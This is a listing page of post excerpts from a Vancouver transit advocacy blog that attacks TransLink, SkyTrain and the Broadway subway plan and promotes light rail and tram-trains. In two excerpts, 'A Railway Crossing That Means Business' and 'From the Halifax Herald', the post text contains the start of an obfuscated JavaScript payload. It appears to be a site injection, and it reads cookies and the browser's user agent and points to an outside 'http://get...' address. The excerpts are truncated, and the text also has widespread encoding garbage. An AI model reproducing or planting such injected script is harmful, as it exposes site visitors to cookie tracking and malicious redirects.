    From our friend Haveacow from Ottawa On November 7, 2014 the western tunnel segment and central tunnel segment became one segment. The tunnel for the LRT system in Ottawa is being dug in 3 individual segments, what is called the Sequential Tunneling ...

  • Surrey's Proposed LRT Advances

    Looks like the proposed three line LRT network in Surrey, is advancing. The old anti-LRT rhetoric continues, despite well over thirty years of commercial operation by over 500 tram/LRT lines around the world that disproves this nonsense. No mention th...

  • Compass Card Fiasco

    Installed but not working. Until the compass Card becomes operational the turnstiles stay idle, paying silent testament to TransLink's incompetence. As expected, TransLink's new Compass Card is turning into a fiasco and now the transit agency is contem...

  • Lies, Damned Lies and the Vancouver Sun

    So, Calgary's Nenshi backs Gregor Robertson's Broadway subway plans. Well not exactly, he supports better urban transit funding and all Mr. Nenshi said was "So I imagine there is a scramble right now in Ottawa precisely to figure out how to fund Vancou...

  • SkyTrain Switch Excuse Grows Very Thin

    Like the old fable; "The boy who cried wolf", the ongoing TransLink excuse for problems on the Skytrain system is growing very thin. Again, SkyTrain goes kaput on the tail end of the morning rush and again TransLink blames a "switch problem" as the rea...

  • Horse manure from Vision(less) Vancouver and the N.P.A.

    Wow, such BS from Vancouver Mayor Gregor Robertson and mayor wannabeAi??Kirk LaPointe, saying he is going to build an affordable subway is laughable. Robertson has no proof to back up his claim that a subway will be; "taking 50,000 cars off the road". ...

  • In Toronto - A $3 Billion Subway Carries Fewer Customers Than A Streetcar Line!

    Those who promote a Broadway subway had better beware, subways are not the magic elixir in attracting ridership. A Toronto CBC news story giving mayoralty hopeful Doug Ford (brother of the discredited Rob Ford) an "F" for his subway plans contains an ...

  • Aubagne Tram - The Economy Tram

    Light Rail can be built cheaply, if there is the political and bureaucratic will is there to ensure LRT is built economically. At first glance the Aubagne tramway is very expensive, costing ai??i??166 million or CAD $235 million to build, but only for...

  • Light Rail In Victoria Before Vancouver?

    Interesting news from Victoria, BC Transit is recommending LRT for Greater Victoria. Though BC Transit doesn't have much competence with modern LRT, the organization certainly has more experience than TransLink, with the historic LRT planning for the B...

  • You Just Got to Be Kidding!

    I am speechless! Is this the best that TransLink can do? SkyTrain delays good time to support the economy: TransLink Spokesperson says grab a coffee or a bite to eat while waiting Ai??Anita Bathe October 1, 2014 VANCOUVER (NEWS1130) ai??i?? Trans...

  • Roads & Rails = Dumb & Dumber

    In BC, we are backward. In fact, we are not just backward, we are literally stone age when it comes to transit planning. Two stories; in Nevada the Boulder rail extension is part of the cost of a new highway and that the CNR sold Georgetown-Kitchener,...

  • Is Vision Vancouver's Subway Fantasy Putting City Taxpayer's At Risk?

    Courtesy Light Rail Now Micheal Geller has an interesting item in the Vancouver Courier which indicates that Vancouver taxpayers maybe on the hook for a minimum of $500 million for demanding a SkyTrain subway under Broadway. Predictably, Geller still f...

  • Four Years Since the Release of the Leewood Study and the Silence is Deafening!

    It now has been four years since the historic release of the Leewood/Rail for the Valley report, yet except for sparse political support, very few people actually know that the study exists, let alone that it is "shovel ready". The Leewood study is ju...

  • The Arbutus Saga Continues

    Not much transit news about with the school strike and the lead up to the November civic elections, but old news is still news. The CPR want $100 million for the land and the City of Vancouver wants to pay only $20 million, yet $100 million is a bargai...

  • Will TransLink Overly Invest In Subways In Vancouver?

    Interesting article from Toronto. In Germany in the 1960's and 70's many cities started building subways and replacing their surface tramways. The first noticeable change was that ridership dropped and for many, journey times increased. This was due to...

  • The Federal NDP suddenly Discouver Transit

    The Federal NDP have never really cared about regional transit and desperately need some sort of policy to try to show the public they care and and have a plan in time for the 2015 election. Throwing more money at transit won't solve transportation pro...

  • The Truth Slowly Ekes Out - Surprise, Surprise

    Well, someone is waking up at the Vancouver Sun or are they. SkyTrain is obsolete. The philosophy behind the operation of SkyTrain is obsolete. Obsolete transit mode + obsolete transit philosophy = lagging ridership. So it should come as no surprise V...

  • We Must Welcome The 21st Century

    Not really about urban rail, but still important for the planned Chilliwack interurban. Railways need to emerge from the 19th century into the 21st and the federal government must emerge from its 18thAi?? Laissez faire mentality. If France, the UK, and...

  • The Vancouver Province Shills For The Canada Line

    40 metre to 50 metre station platforms limit the Canada line train to just two cars, severely limiting capacity. I see TransLink is calling in its markers from the mainstream media and a staff writer (infomercial maybe) has penned a puff piece for the ...

  • Lotus Land In Shock with the CPR Reactivating The Arbutus Corridor

    The Arbutus corridor Interurban near 37th The Arbutus corridor debate continues and Zwei has a made a few observations. Has anyone in the media ask Molsons if they want to once again use the railway for both delivery and export? Has anyone in the the ...

  • Stupid is, as stupid does - TransLink - The faregate fiasco!

    This article from Toronto contains some very interesting information. ".........$8 million to hire 100 fare inspectors........" ............and TransLink is spending at least $171 million on fare gates, with annual operating costs of $15 million to d...

  • If you thought using a toll road was costly, try building one

    From down under. As we are finding out with the $1.3 billion South Fraser Perimeter Road (which is both poorly designed and built) road projects tend to be as expensive or more, than comparable rail projects. If you thought using a toll road was cost...

  • It Ain't Rocket Science Folks

    Really, do the math. TransLink has 170 full time attendants (part time attendants unknown); TransLink operates 57 trains during peak hours; how hard is it to schedule an attendant to be on a train at all times? Why doesn't TransLink force management ty...

  • Zwei Told Ya so!

    Sorry folks, I mean the SkyTrain Lobby, Zwei told ya so, SkyTrain should have attendants on board every train.................... From the Georgia Straight. SkyTrain disruptions like the July 17 and 21 outages have happened in the past. Indeed, a rep...

  • Oh Please. Once Again The Vancouver Sun Again Shills For SkyTrain

    Really! The Vancouver sun continues to unashamedly shill for the SkyTrain mini-metro system. I know this is tiresome, in fact downright boring, but the folks at the Sun should know better than take TransLink Press Releases as fact. The old arguments, t...

  • SkyTrain Whitewash Continues

    TransLink can't help it. It is inbred in them. Honesty is just not in their lexicon. They hire a SkyTrain type, at $1,200 a day to do a review of the two recent embarrassing shutdowns. It is like the police investigating itself. What should be a truly ...

  • TransLinkai??i??s seven ai???deadly sinsai??i??

    The reverberations of TransLink's double SkyTrain fiasco continues to echo in Metro Vancouver. I think transit customers can understand system wide shutdowns, but when the captain and crew leave the passengers to fend for themselves, then very pointed ...

  • SkyTrain Fizzles Again! Passengers Abandon SkyTrain Like Rats leaving a Sinking Ship!

    Oops, SkyTrain fizzles again with scores of passengers abandoning the Skytrain and walking down the tracks to escape the damned thing. It certainly looks like transit customers are completely fed up with SkyTrain and TransLink wants to build more? ...

  • Remembering Edson L. Tennyson, icon of rail public transport advocacy and development

    Zwei belongs to the LRPPro blog and soon began to know that a one Ed Tennyson was someone to listen to as he was a walking encyclopedia of transit knowledge. Probably no one in Metro Vancouver has ever heard of Mr. Tennyson, but his influence has certa...

  • SkyTrain Fizzles Again

    The problem with driverless transit systems is that when there is a problem, there is no driver to drive the damn thing if things go wrong. As SkyTrain ages, stoppages like this will become more common. Computer problems cause major SkyTrain disrupti...

  • Send in the clowns - Urban Land Instituteai??i??s Governorai??i??s Advisory Panel

    Really, one tires of this nonsense that Broadway needs a subway. If the truth were to be told, the Vancouver city fathers want a subway under Broadway because they feel it would make Vancouver a "world class city" and the current political party in pow...

  • Trams save operating costs!

    Confirming what Zwei has been saying for the past few decades, on modern streetcar or tram is as efficient as four to six buses. The key statement from TTC Chair Councillor Maria Augimeri; ".........for every streetcar removed from the downtown core, t...

  • Taking public transit kicking and screaming into the 21st century.

    Though Zwei is not a fan of Jarrett Walker, our Ottawa friend, Haveacow, recommended this post from his blog. http://www.humantransit.org/2014/07/california-topples-a-tyrant.html It seems that transit improvements, especially light rail, have been ham...

  • Liz James takes on TransLink

    Liz James understands the problems that beset TransLink as she is one of the few columnists in the region who has taken the time to study the issue. More and more, the City of Vancouver sounds like a spoiled child having a temper tantrum, wanting a $2 ...

  • A Broadway subway: Do the numbers add up?

    An interesting read from Toronto. Two items of interest: Contrary to North American thought, 14,000 persons per hour per direction is not near the upper limit of modern LRT. In 2014, the upper limit for LRT is about 25,000 pphpd. Unfortunately, Toront...

  • New Rail Traffic for the Interurban Line?

    With empty BNSF trains using the SRR of BC Line, to return to the USA via Huntington/Sumas, the antiquated CPR/SR of BC junction at Clayburn should be modernized and improved. A definite benefit for a Vancouver to Chilliwack TramTrain service. It loo...

  • Arbutus corridor told to remove any property on CP land

    Just for the record, BC Electric not only ran interurbans on the Arbutus Corridor to Richmond, they also ran inteurbans to New Westminster via the line along the North of the Fraser River. In Theory, the CPR could do the same. One doubts that the CPR w...

  • The Penny Dreadful - The Transit Referendum Saga

    The ongoing saga of the Mayor's Council, TransLink, the Province, and the referendum reads like a 'Penny Dreadful'. The province has no money, the metro mayors have no money, yet the metro mayors have approved a hugely expensive Vancouver centric rapid...

  • Let fools rush in

    Metro Mayors are drooling at the prospect of running TransLink, as most think they are transit geniuses. Problem is, most are fiscally irresponsible and only want election winning transit options in their cities and towns. The Broadway SkyTrain subw...

  • Metro Vancouver Sleepwalks Into a Financial and Transportation Disaster.

    There is so much wrong with this announcement that it boggles the mind, but it is suffice to say, this plan will not go anywhere. Let's look at the basics of this announcement. A SkyTrain subway to Arbutus has nothing to do about transit ridership, it...

  • A Railway Crossing That Means Business

    In Russia, to cope with the problems of motorists jumping railway signals on express train routes, the following device is used. The rest is self explanatory. Rail for the Valley take note! var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","...

  • Light Rail Stops Attracts new Business

    This interesting study from down South. The myth makers who favour SkyTrain make much how SkyTrain attracts new development, yet that development has been allowed by city councils, who have allowed for higher densities, read higher buildings) at SkyTra...

  • Gridlock Is Endemic In Vancouver and Will Be For Years To Come

    Nothing new here. As the provincial government keeps building new highways and bridges, car use will increase, simple. As the provincial government, the City of Vancouver, TransLink, and Metro Vancouver, keep planning for and building hugely expensive ...

  • What Could Have Been - Should Have Been - Updated

    One of the hardest transit plans to find in the Vancouver Metro Region is the 1978 Rapid Transit Preliminary Design, by the then GVRD. The reason why it is hard to find is that most of the copies were shredded and/or similarly destroyed on orders by t...

  • TransLink's ridership down and has a surplus

    All the hype and hoopla about transit funding, reality has struck TransLink in the face like a banana cream pie; ridership has decline, yet there is a surplus or profit. Oh there are lots of excuses like fewer people working weekdays or there has been ...

  • Dead Parrot Sketch Part 2

    In all my years advocating for better transit in the Vancouver metro region, I have never heard an excuse for not building with LRT, that is as silly as this. "An European style lawned tram rights-of-way will kill birds." How low will the SkyTrain lob...

  • Russian Tram Test Track In Paranimo

    A tram climbing a 16% grade on the Paranino test track. Paranino ai??i?? a small village not far from Chelyabinsk (which got famous for its recent picturesque meteorite sky show). Itai??i??s a regular village with farmers, cows or goats crossing the st...

  • Broadway on the Radio

    On News 1130 today. Light rail advocate argues against Broadway subway option. A Broadway subway is all about subsidizing Vision(less) backers and supporters, who have invested heavily assembling lands at potential subway stations, not about moving peo...

  • Trams attract more passengers than buses

    The following from Ed Tennyson, who is the foremost transit expert and historian in the USA, is a reply to a news story that Seattle suburban residents like the LRT but do not particularly like buses very much. Buses, for what ever reason, just do not ...

  • Arbutus Corridor Resurrected?

      It seems the CPR is going to resurrect the Arbutus Line for freight and the wails of "shock and disbelief", from Vancouver's creme de la creme are echoing through the halls at city hall. Get real folks, the CPR did not abandon the railway and th...

  • Who says LRT or streetcars can't operate at close headways!

    There is a reoccurring theme from the SkyTrain trolls at TransLink and the city of Vancouver that LRT can't operate at close headway's and one can hear the wailing and gnashing of teeth when they are corrected. "Lies", they scream in unison, at every c...

  • Gregeor Telling Porkies - Again!

    Vancouver wants a subway and its mayor will say anything to get the province to pay for one under Broadway. There is an old Hungarian saying; "When the gypsies knock at the door, rush out and protect the chickens." Updated, the saying should say, "Whe...

  • Who Killed Public Transportation in Los Angeles?

    Why did the streetcars disappear, there many reasons and this news item may shed a little light from 50 to 60 years ago. "Who Killed Public Transportation in Los Angeles? Posted on 03 May 2014 by Craig Fitzgerald With Elon Muskai??i??s Hyperloop maki...

  • Urban rail news in brief - April 2014

    From the "Railway Gazette", urban news for April 2014 Tokyo Metro has signed a technical assistance memorandum of understanding with Hanoi Metropolitan Railway Management Board. Brazilian President Dilma Rousseff has announced R$3Ai??8bn of public tra...

  • LRTA - How other countries see light rail and appraise light rail investments?

    From from 2009 Article from the March 1999 edition of Tramways & Urban Transit As anyone involved in a British light rail scheme knows, the appraisal system is rigorous and, many feel, fatally flawed, oriented as it is to short term and financial ...

  • Complaints Up and Service Down At TransLink

    Nothing new here as TransLink fumbles along trying to operate the Transit system. The important question is: "Should we pay more taxes for more of the same?" The problem with Translink is that transit operation is not provided on a sound economic mode...

  • Worlds Longest Trolleybus Line

    In Vancouver, we think of trolleybuses as a holdover from the streetcar days; a sort of green transit system used primarily in Vancouver and a few other cities in North America. What was once the replacement for the streetcars, are themselves seeing wa...

  • Not so reliable, our SkyTrain - Eh?

    SkyTrain is on the fritz again. The problem with proprietary transit systems is that they age very poorly.   SkyTrain delayed by communication system disruption Vancouver Sun March 28, 2014 METRO VANCOUVER - TransLink says there are system-wide ...

  • From the Halifax Herald

    var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x6...

  • SkyTrain Strike?

    One of the big advantages touted by the then Social Credit government for the SkyTrain ALRT system, was that is was an automatic transit system and being driverless could not go on strike. Ha, ha, ha, the joke is on TransLink, as the 537 SkyTrain opera...

  • Streetcar Porkies From Vancouver

    You just got to hand it to Vision(less) Vancouver and its lap-dog bureaucracy in finding ways to discredit the heritage streetcar. The Olympic Line, which operated just two Bombardier Flexity trams (3050 & 3051), had about 550,000 boardings in its...

  • Subway Economics

    The difficulties of making subway lines run at a profit have existed for over ten years and, up until now, no solution has been found. It's obvious that simply relying on revenue from ticket sales is not enough to cover the sizable operating costs. Att...

  • Worldwide Tram Market Review - 2014

    The Cardinal posts hereAi??the schedule ofAi??Worldwide Tram orders as of March 2014, courtesy of Tramways & Urban Transit Manufacturer City's Orders Options Sub-Total Orders Pending OrdersAi?? Options Alstom Aubagne, Avignon, Bo...

  • TransLink's Subway Fiscal Time Bomb - A Repost from 2013

    The SkyTrain/metro Lobby remain mute on the long term fiscal effects of operating subways, especially on routes that have low ridership, say less than 15,000 pphpd. Building a subway is a very expensive proposition and many factors should be considere...

  • Cutting edge to the cutter's torch. (A repost from 2011)

    What happens to old transportation technology? It becomes less valuable than scrap! The Birmingham airport MAGLEV was cutting edge transportation technology in 1984 (two years before the SkyTrain Expo Line opened) but by 1995 was scrapped as obsolete....

  • Stop fighting Massey bridge, Delta mayor doesn't get it

    Some politicians 'get it' and many other don't; the same goes with regional transportation planning. Delta's Mayor, Lois Jackson clearly doesn't get it. The proposed Massey Tunnel replacement bridge will not solve congestion, only move it a few kilomet...

  • Oops, Evergreen Line Guideway Shifts

    When you do expensive jobs on the cheap, s**t happens. Looks like the guideway fell off its bearings, I wonder why? Coquitlam road closed by incident involving 300-tonne guideway at Evergreen Line construction site Ai??By TIFFANY CRAWFORD, VANCOUVE...

  • U.S. (And Canada) Taxpayers Are Gouged on Mass Transit Costs (a repost from 2012)

    With BC Transit quoting silly prices for LRT in Victoria and TransLink doing the same in Vancouver and Surrey, the following article from Bloomberg should be essential reading. As the previous post has shown, modern LRT/streetcar can be built cheaply, ...

  • New Tram-Train service in France

    FRANCE: Tram-train services on a 64 km route linking Nantes and ChA?teaubriant are launched by SNCF on February 28. Opening on 28 February a new tram-train service is now operational on the reopened regional railway between Nantes and ChA?teaubriant. ...

  • The Moonbeam Line

    The Moonbeam Line is an apt name for the for Vancouver Mayor, Gregor Robinson's pet Broadway subway project, as the subway planning has a foundation of stuff and nonsense. This hokumAi?? that a subway would be of "national significance", is pure hoopla...

  • Ottawa's Transit system project

      ai???The Transitwayai??i??, in Ottawa, is one of the most successful Bus Rapid Transit Systems in North America. However with the increase of traffic and demand the Council has decided to develop the Bus Rapid Transit System into to a Light Rai...

  • Hutzpa!

    What hutzpa! The Broadway subway a transit project of national significance, really? I think Mayor Robinson thinks that the taxpayer are rubes. According to our friend, Mr. Haveacow,Ai?? Broadway's peak demand numbers on average of 2000-3700 passeng...

  • Light Rail & Tram ridership

    Have received the following statistics from an Aussie mate, who is resident in Europe. 1 St Petersburg: tram 476 mill pax p.a., 205 route km. Ai??2 Budapest: tram 393 mill pax p.a., 156 route km. 3 Prague: tram 324 mill pax p.a., 141 route km. Ai...

  • 5 light rail projects to watch this year

    Which light rail Ai??projects should we be watching this year? Here are just 5 of the many projects developing around the world. They are at different stages and may have different reasons you should keep an eye on them, for example, to find out who wi...

  • Tracks to the Cities

    Light Rail for Liveable Cities A UITP POSITION PAPER http://www.uitp.org/sites/default/files/cck-focus-papers-files/01%20LIGHT%20RAIL%20FOR%20LIVEABLE%20CITIES.pdf In countries where tramways had survived the massive closures of the 50ai??i??s and 60a...

  • Subway cost per mile nearly 9 times higher than for light rail, says study

    Recent study results of subway-LRT investment costs posted on the Light Rail Now (LRN) site provide a sobering reality check on the cost issue. http://austinrailnow.wordpress.com/2014/02/15/subway-cost-per-mile-nearly-9-times-higher-than-for-light-rail...

  • LRT South of the Fraser

    A pleasant surprise in the Delta Optimist, Zwei's home town paper, a light rail friendly article. Though I hate the term Light Rapid Transit, because I believe it is used deliberately to misinform people. The comment by Delta-Richmond East MP Kerry-Lyn...

  • TransLink, Act 5

    Alas, poor TransLink, I knew it Ken. As the Vancouver Sun article alludes to the fact that, we paid a lot of money for vanity rapid transit projects and that my friends is why TransLink is in the financial glue it finds itself in today. Zwei has known...

  • The ULI Land Developers Want A Subway - Surprise, Surprise, Surprise

    From a group that claimed it would not talk about mode, the the Urban Land Institute, backs a subway and says "avoid light rail". Zwei knew from the beginning this was nothing more than an elaborate set up to support Vancouver's demand for a subway an...

  • SkyTrain ills

    Oops, the transit system that never breaks down, according to the SkyTrain lobby was on the fritz again.Ai?? A stuck train caused transit chaos Wednesday afternoon, not a train that has broken down, mind you, a stuck train (glue on the tracks?). Well, ...

  • Liz James Takes On The TransLink Referendum

    The fiery independent columnist Liz James is one of the few scribes that is willing to take on the TransLink behemoth with other than the political correctness that follows the issue. David Cockle, mentioned in Ms. James piece, is the very same David C...

  • Congestion Crisis

    Well Zwei told you so, the failure to plan for an affordable public transit alternative for the car has helped create this crisis and no one in charge seems to understand what the real transportation problems are in the region. While Victoria and regio...

  • The Land Developers are Coming to Town

    The problem it seems is that the Urban Land Institute seems to be more interested in land development more than anything else and certainly do not seem to be transit experts as the news article portrays them to be. On the thorny question of what kind o...

  • Score: HUB $157,300.00 - Rail for the Valley $0.00

    The title refers to the $157,000.00Ai?? HUB (a non-profit cycling society) gets from the cash strapped TransLink. The lesson to be learned is that many people who are nay-saying light rail in Vancouver and/or posting anti tram nonsense are members of ...

  • A Replacement For the Fraser River Rail Bridge?

    Interesting article in the Vancouver Sun that Surreyai??i??s light rail bid could have edge in federal funding over Vancouverai??i??s Broadway subway line. What is of more importance for Rail for the Valley is the replacement of the decrepit Fraser ri...

  • The Politics of Fear

    It seems if all else fails for the TransLink referendum, scare the people to vote for yes for more money. This is called the politics of fear. The harsh facts are that three LRT lines in Surrey and a SkyTrain subway under Broadway will not alleviate tr...

  • Clarity With Transit and TransLink ..... Ha, Ha, Ha!

    The TransLink referendum continues to provide angst with politicians and TransLink and so it should, because both parties really haven't a clue about public transit. The new Chair of TransLink, Marcella Szel.Ai?? A former Canadian Railway executive and...

  • Bus Stops

    From the well duh department, that getting rid of some bus stops can improve service, has been well known for decades. In Europe bus stops tend to be 350m to 400m apart, but in Vancouver bus stops tend to be 250m to 300m apart, with some examples no mo...

  • TransLink Referendum Mayhem

    Welcome to the BC Liberal world of transit, where transit or should I say transit mega-projects are a means for winning elections, nothing more. The Canada Line is a good example, where ten BC Premier wanted to showcase a transit P-3, but the problem a...

  • Cuiaba, Brazil - new LRT won't be ready for World Cup

    Thank you Mr. Haveacow for pointing out the error of my ways. Well, for the BRT crowd, who continue to claim that Curitiba Brazil was BRT heaven, it must come as a shock that they are building LRT in the city of Cuiaba, Brazil. Remember, the Curitib...

  • New Prague streetcars reverse noise pollution

    An overlooked benefit of streetcars is the reduction in noise pollution associated with bus and car traffic. In fact, some pedestrians in Prague say the newest streetcars from Skoda are too quiet! Latest streetcars in historic Prague. An article from ...

  • Tram Train

    A summary of the latestAi??EuropeanAi??Tram Train developments at the end of 2013. UK - Manchester: Transport for Greater Manchester (TfGM) has created new plans which could see specially designed vehicles running on both street tracks and train track...

  • Canada Line airport surcharge to hit more (ghost) riders

    Maybe, just maybe that the expected numbers of people expected to take the Canada line to YVR was grossly overestimated to secure YVR's money for a light-metro/subway connection to Vancouver. YVR contributed about $300 million to the Canada Line on the...

  • Three bidders vie for Waterloo LRT contract

    THREE consortia have submitted bids to the Regional Municipality of Waterloo, Ontario, for the $C 536m ($US 505m) PPP contract to design, build, operate, and maintain the city's first light rail line. http://www.railjournal.com/index.php/north-america...

  • Improving Metro Vancouverai??i??s public transit system

    It seems you can't teach an old dog new tricks, especially ex GVRD types. Mr. Spaeth has, like many other GVRD/Metro Vancouver types, have deluded themselves that transit has taken cars of the road in Vancouver.Ai?? The reason for declining car use is ...

  • Death By Toll

    Is anyone surprised by this? If you are, you are either residing outside Metro Vancouver or you are living in a bubble, because the taxpayer is maxed out. The BC Liberal regime of Gordon Campbell has off-loaded so many user fees, taxes and other costs ...

  • TransLink Spends on Station Renovations

    TransLink is renovating several stations on the Expo Line and as always, the real news is what one reads between the lines. The Expo Line is near its life expiratory date and no, the Expo Line will not disappear in a cacophony of dust and debris, but e...

  • TransLink's Fiscal House of Cards

    Is TransLink's financial 'house of cards' ready to collapse? It seems the independent commissioner overseeing TransLink thinks so. Certainly the 'self proclaimed' transit experts are circling TransLink like vultures seem to thinks so, by advocating mo...

  • Surrey asks feds for $1.8 billion for light rail- Maybe It's Time To Say Adios to TransLink

    Well, Toronto's crack smoking Toronto's mayor Rob Ford wants Ottawa to fund his multi billion dollar subway dream, I guess Surrey feels the feds should ante up for transit projects out west. What the likes of UBC professor Larry Franks doesn't realize ...

  • South Surrey and Whiterock's Fifteen Year Itch

    Every fifteen years or so, the good burghers of Whiterock and South Surrey agitate for the removal of the BNSF tracks that run on the shoreline from the international boarder to Crescent Beach. Not going to happen. Though safety is the supposed concern...

  • More tramways for Paris

    What the SkyTrain and subway lobbies fail to mention, is that Paris transit authorities are also investing heavily in light rail or tramways. Something that planners should consider, when planning for new transit lines in Vancouver. Paris inaugurates ...

  • Whistler's Hydrogen Bus Scheme Fizzles

    Not quite a "FastFerry" debacle, but the hydrogen bus scheme was one of dreams, by a premier with very little "cred" in providing affordable public transit. Zwei knew that the hydrogen bus would flop, because the major companies that provide buses, tra...

  • How much does a subway cost to build?

    Ever how much it costs to build a subway? The proposed 2.5 km (aprox.) London Northern Line extension from Kennington to Battersea Power Station will cost A?870 million or CAD $1,483.6m or put another way, the proposed subway extension will cost over $...

  • Light Rail Is Not A Panacea

    In Canada transit authorities, unlike their European counterparts, tend not to do maintenance until it is absolutely necessary to do so. This means customer affecting break downs do occur and when they do, the transit customer is ill served. Older tram...

  • Donai??i??t learn from the failure of the subway on Cambie Street ai??i?? copy it for Broadway

    Sad to see that the best UBC can do is to copy failed 1950's planning philosophy for the 21st century for Vancouver. In North America, subways are seen as the the great transit philosopher's stone to solve all transportation problems - if you do not ha...

  • Professor warns of suburban sprawl, ai???horrificai??i?? congestion.

    Zwei has been warning about this for several years, and now, now someone has noticed? I'm sorry, but I just do not see any improvement in our regional transit chaos, until someone has the moral fortitude to put a wooden stake through the heart of SkyTr...

  • Massive pileup closes Highway 1 in Chilliwack. We need a rail alternative!

    One wonders if we had a TramTrain service from Chilliwack to Vancouver, would it reduce the chances ofAi?? major accidents, especially in icy weather?If a major closure of Hwy. 1 does happens, would not a Chilliwack to Vancouver TramTrain service offer...

  • Yippee, Vancouver Is Number One!

    So? What else is new? The provincial and regional governments have spent over $9 billion on three mini-metro lines that have done nothing to alleviate congestion; it will be dAi??jAi?? vu with the Evergreen Line and TransLinks still wants more taxpayer...

  • Breaking News - More SkyTrain Problems.

    As SkyTrain ages, breakdowns become more numerous. It is the bane of most proprietary transit systems. SkyTrain switch problem causes headache for ridersThe issue in the King George area has been fixedNews1130 Staff November 6, 2013 SURREY (NEWS113...

  • TransLink's Compass Card Boondoggle Revisited

    Well, here we go again, new numbers from TransLink clearly shows that the much touted Compass Card is $23 million over budget and Cubit Industries will be paid $12 million annually to operated the system - more money than was thought lost through fare ...

  • Bombardier's Porto Metro (well it is really LRT) Wins Prize.

    Well, Bombardier can build light rail and award winning LRT at that, which is something that will be hard to admit in Vancouver. The Porto Metro uses Bombardier's (ABB) Euro and Flexity trams in a combination of subway and at-grade rights-of-ways and t...

  • ZA?rich Suburban Light Rail Line Approved

    From the Railway Gazette. The Swiss city of ZA?rich has approved a new suburban 13Ai??4 km tram line, the Limmattalbahn light rail line which would link the ZA?rich suburbs of Altstetten, Dietikon and Killwangen-Spreitenbach. The project is backed by t...

  • Stop Press - SkyTrain Fizzles Again - UPDATED

    Once again, SkyTrain breaks down and during rush hour too! This nonsense of having only one metro line to service downtown Vancouver, demonstrates just how bad TransLink's planning is - one breakdown and the system fizzles. From CKNW Radio News http:/...

  • TransLink CEO, Ian Jervis Made Over $394,000 Last Year

    Not bad for a career bureaucrat who has no background in public transit. Maybe a little thrift in TransLink's senior bureaucrats stipends, would translate to a little thrift in operations, resulting in realistic planning, financingAi?? and operation. F...

  • Tram looks ahead to avoid collisions

    New technology will make trams safer and here is a lesson to be learned. Modern light rail, trams and streetcars are constantly evolving, into a safer and and more convenient transit mode. There is no such evolution with SkyTrain as it is essentially t...

  • The Real Costs of Subways - Is The Provincial Government Listening?

    There is a misconception by Vancouver politicians and engineers; TransLink's planners and bureaucrats; Ministry of Transportation bureaucrats; and The Minister of Transportation and the Premier, that subways are rather cheap to build. TransLink has for...

  • GetOnBoard Want's Valley Tax Money

    The pro transit group GetOnBoard BC (well Rail for the Valley is a pro transit group as well) wants a yes vote in the upcoming TransLink referendum, but they seem to be a little naive about public transit in general and firmly believe that the more mo...

  • Fraser Bridge Chaos?

    Exactly what Zwei has predicted! The BC Liberal Fraser River crossing spells the death knell of the BC Agricultural land Reserve, regional transit planning, and metro transportation planning. This bridge is all about satisfying McQuarrie, SNC Lavalin, ...

  • Does the Provincial government Want TransLink To Fail?

    Like a death dirge, the TransLink referendum drags on and on, yet the provincial Premier is steadfast on the question of a funding referendum for TransLink. The regional mayors are more and more making fools of themselves wanting one of many tax propo...

  • Massey Tunnel Fox Trot

    More fallout from the Premier's announcement about the bridge replacement for the Massey tunnel. Richmond Mayor, Malcolm Brodie, demand for a mini-metro instead of light rail has condemned Richmond of any chance of having "rail" transit extended in ...

  • A Letter To South Fraser Mayors And Councils

    A letter sent this week to South Fraser mayors and councils and to the media. One wonders how TransLink and its surrogates will respond? Zwei The following email was sent out to South Fraser mayors and councils, warning of Translink hyperb...

  • The Bateman Strategy: Killing TransLink and the regional vision - NOT!

    Gordon Price has entered the TransLink fray and with gusto, blaming Jordan Bate of having the audacity to ask for "none of the above" on the ballot in the upcoming election. Without a "none of the above" on the ballot means the much ballyhooed TransLin...

  • BRT = Build Rail Transit

    Easy and simple to understand, then why doesn't TransLink get it? Forget about B-Line buses, which only exacerbates TransLink's financial woes and build with LRT, replacing heavily used bus services with affordable and efficient light rail. Despite of...

  • A John Buker Re-Post From 2009 - Prendergastai??i??s parting words on Rail for the Valley

    A re-post from 2009. Tom Prendergast, who was briefly CEO at TransLink, left (or was forced out) after just over a year at the post because of the Skytrain lobby. The SkyTrain Lobby still holds great sway with transit planning in Metro Vancouver, which...

  • A 0.5 per cent TransLink sales tax?

    In an obvious headline grabbing event, a near dormant transit group, proposes a 0.5% sales tax to fund TransLink. Big mistake. The problem with transit in the Vancouver Metro region is TransLink itself and its firm belief that the more money one spends...

  • Another TransLink Epic Fail

    Really, one is almost speechless, watching TransLink imploding under one bad decision after another. Message to BC Minister of Transportation, Todd Stone; "Quit your hiding in Kamloops and put a stop to TransLink's ongoing nonsense." It is time for re...

  • TramTrain News

    Next stop Rotherham: Sheffieldai??i??s new Tram Trains 15 Aug 2013 The concept of Tram Train is a vehicle that operates as a tram on the tramway and a train on heavy rail, offering a seamless journey to the passenger into the heart of city...

  • EDITORIAL: Compass Card blunder will cost TransLink

    From the South Delta Leader. EDITORIAL: Compass Card blunder will cost TransLink By Editorial - South Delta Leader Published: August 16, 2013 With TransLink set to role out the new Compass Card fare system next year, comes word this week that after...

  • TransLink Digs An Even bigger Hole For Itself

    One has to laugh and cry at the same time. Right on the heels of the discovery that when the Compass Card regime comes into being not allowing bus transfers on the SkyTrain and Canada Line light-metro systems, TransLink's top bureaucrats are getting p...

  • SkyTrain won't take bus transfers with Compass Card system. When You Have idiots running The Show.....................

    ..........................don't be surprised at the results. The new Compass fare card/fare gate regime, imposed on TransLink by the BC Liberal government, now means that bus transfers will no longer be accepted on SkyTrain! Where did I learn about thi...

  • The TransLink House of Cards

    This recent piece in the Surrey Leader make for unpleasant times at the 'House of TransLink'. TransLink is broken and all the provincial politicians and all the civic politicians can't put TransLink back together again. OPINION: Who's behind the wheel...

  • TransLink and The Sun Sing The Same Old Transit Blues

    The Vancouver Sun is back shilling for TransLink and 'road-pricing'; too bad, because TransLink seems to be wanting to do the same old expensive and unworkable transit planning, which has failed in the past; expecting different results this time. Not g...

  • Stadler LRV's - Croydon [London] Tramlink

